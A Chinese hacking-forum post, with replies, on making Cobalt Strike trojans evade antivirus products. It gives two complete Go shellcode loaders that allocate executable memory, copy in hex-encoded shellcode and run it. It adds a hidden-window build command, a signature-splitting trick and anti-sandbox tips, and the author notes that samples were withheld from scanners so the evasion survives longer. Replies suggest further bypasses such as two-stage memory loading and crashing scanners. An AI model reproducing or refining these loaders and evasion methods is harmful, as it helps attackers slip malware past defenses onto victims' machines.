0编程基础做木马免杀

骚骑   ·   发表于 2020-05-26 19:00:16   ·   技术文章

木马免杀

0x00背景

之前弟弟写了个免杀入门水文,确实是真的浅显,水的很,算是零基础的可以看看作为了解吧,骗了那么多赞,感觉良心发现了?(才没有,其实是别有原因),这次实实在在写一个吧(弟弟自己还得留几个救急用),能过微软自带def,火绒,卡巴这些。

0x01环境

靶机:
IP:192.168.111.10
杀软:火绒,360,卡巴,微软def

本机:
IP:192.168.111.11
安装环境:cobaltstrike,go环境

0x02go环境安装

由于本人很久之前就安装了,所以直接上菜鸟教程吧

https://www.runoob.com/go/go-environment.html

0x03实践

1.思路

主要是内存加载,对shellcode预先编码,然后解码执行。

2.举例

因为不是每个人每种语言都精通,但是当我们有需要了的时候怎么办?

骚骑弟弟的方法就是找个案例,然后将不懂的函数查清楚,进而开始针对个人想要的功能进行修改或者拓展。

用重剑无锋大佬的文章中的案例做个示范:
远控免杀专题(32)-Go加载shellcode免杀-3种方式(VT免杀率7-70)

package main

import (
 "io/ioutil"
 "os"
 "syscall"
 "unsafe"
)

const (
 MEM_COMMIT = 0x1000
 MEM_RESERVE = 0x2000
 PAGE_EXECUTE_READWRITE = 0x40
)

var (
 kernel32 = syscall.MustLoadDLL("kernel32.dll")
 ntdll = syscall.MustLoadDLL("ntdll.dll")
 VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
 shellcode_buf = []byte{ 
 0xfc, 0x48, ----shellcode----, 0xd5,
 }
)

func checkErr(err error) {
 if err != nil {
 if err.Error() != "The operation completed successfully." {
 println(err.Error())
 os.Exit(1)
 }
 }
}
func main() {
 shellcode := shellcode_buf
 if len(os.Args) > 1 {
 shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
 checkErr(err)
 shellcode = shellcodeFileData
 }
 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
 if addr == 0 {
 checkErr(err)
 }
 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
 checkErr(err)
 syscall.Syscall(addr, 0, 0, 0, 0)
}

在原本的文章中,是可以免杀的,但由于过了很长时间,因此现在已经凉了。当然我们对这些不能抱多大希望,终归只是学习姿势,拓展思路,因为可能换个方式就可以了,例如我们这样实现:

package main
 import (
 "os"
 "syscall"
 "unsafe"
 "encoding/hex"
 )
 const (
 MEM_COMMIT = 0x1000
 MEM_RESERVE = 0x2000
 PAGE_EXECUTE_READWRITE = 0x40
 )
 var (
 kernel32 = syscall.MustLoadDLL("kernel32.dll")
 ntdll = syscall.MustLoadDLL("ntdll.dll")
 VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
 RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
 shellcodes="--shellcode--"
 )
 func checkErr(err error) {
 if err != nil {
 if err.Error() != "The operation completed successfully." {
 println(err.Error())
 os.Exit(1)
 }
 }
 }
 func main() {
 var shellcode []byte
 shellcode, _ = hex.DecodeString(shellcodes)
 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
 if addr == 0 {
 checkErr(err)
 }
 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
 checkErr(err)
 syscall.Syscall(addr, 0, 0, 0, 0)
 }

做的改变就是将本地镶嵌的shellcode换成了hex编码,如图1:

图1
图一

是不是感觉很简单?为啥自己没想到?先将go文件生成exe进行杀软检测吧。

执行命令:

go build -ldflags=”-H windowsgui” youer_filename

图2

免杀及上线情况如图3,4

图3

图4

有时候很多事情并不是想象中的那么难,就看能不能绕过那个弯,用hack的思维去考虑问题(话说我现在都不会和小姐姐交流了,上周末出去玩都尬死了)。

3.拓展

上面的算是抛砖引玉吧,然后卡巴还没过去,还有个思路的,那就是测试源来的shellcode哪些连用他会出问题,测试结果是:

当在如图5中所示地点断开,火绒停止爆错。
图5

因此,我又开始琢磨了,是否可以在这里输入没用的字符,然后在在做下替换可行不。
替换代码如下:

 var contents = "shellcode"
 shellcodes, _ := regexp.Compile("xxxxx");
 shellcod := shellcodes.ReplaceAllString(contents, "xx")

大概思路就是讲爆错位置加入特定字符,然后利用正则识别(xxxxx),替换成想要的内容(xx)
感觉思路是没问题的,而且测试输出的内容也是一样的。但是就是不能运行,所以如果有熟悉go的希望能指教下弟弟。

针对反沙盒静态免杀,混淆函数免杀

针对静态免杀我们可以增加些判断,诸如主机名,计算机名这些,再有就是设置sleep这些,对于go基础为0的和我一样的,推荐直接用veil生成go文件,然后自己对其进行简单的改编。

利用上述做免杀结果

留一手
当然还有几个思路,弟弟自己留一手,然后继续学习,后续会考虑更新更详细一些,期待不断成长不再水文章。

总结

总体来说,就一个问题,多看,多想,遇到问题不要慌,换个思路拐个弯做下尝试。然后这两个我都没上传样本,基本上是断网情况测试,因此免杀效果应该是可以维持一段时间的,免杀是在不断对抗过程中成长的,勤思考多查找,总会有办法的。

用户名金币积分时间理由
admin 300.00 0 2020-05-27 10:10:12 通过,后面的思路有创新

打赏我,让我更有动力~

3 Reply   |  Until 2020-6-4 | 1969 View

Track-A
发表于 2020-5-27

卡巴杀的是内存即动态查杀仅静态免杀过不了,文章应该从源码分析入手
原理是调用系统API申请内存地址复制shellcode到内存调用执行,免杀手段可以申请2段内存空间第一段解码第二段再执行
火绒的看起来像是dos漏洞可以深入研究fuzz测试看是动态还是静态扫描造成的
360之前就有指令异常造成dos从而绕过主动免杀,另外如果火绒程序未签名的情况连接远程cs会被拦截

评论列表

  • 加载数据中...

编写评论内容

骚骑
发表于 2020-5-27

因为没有花太多时间打磨,因此有许多细节问题没有顾虑到,包括shellcode是c语言的,格式转换问题,再有就是后面提到的veil也没详细说明,第二个免杀代码也没贴,而且问了保证能存活更久一些,没有在沙箱中测试,诸如此类问题还很多,之后的文章将会注意,请哥哥们见谅。

评论列表

  • 加载数据中...

编写评论内容

9yue20ri
发表于 2020-6-4

火绒不是通过了检测?为什么下断点?你说卡巴斯基吧,(当在如图5中所示地点断开,火绒停止爆错。 )

评论列表

  • 加载数据中...

编写评论内容
LoginCan Publish Content
返回顶部 投诉反馈

© 2016 - 2022 掌控者 All Rights Reserved.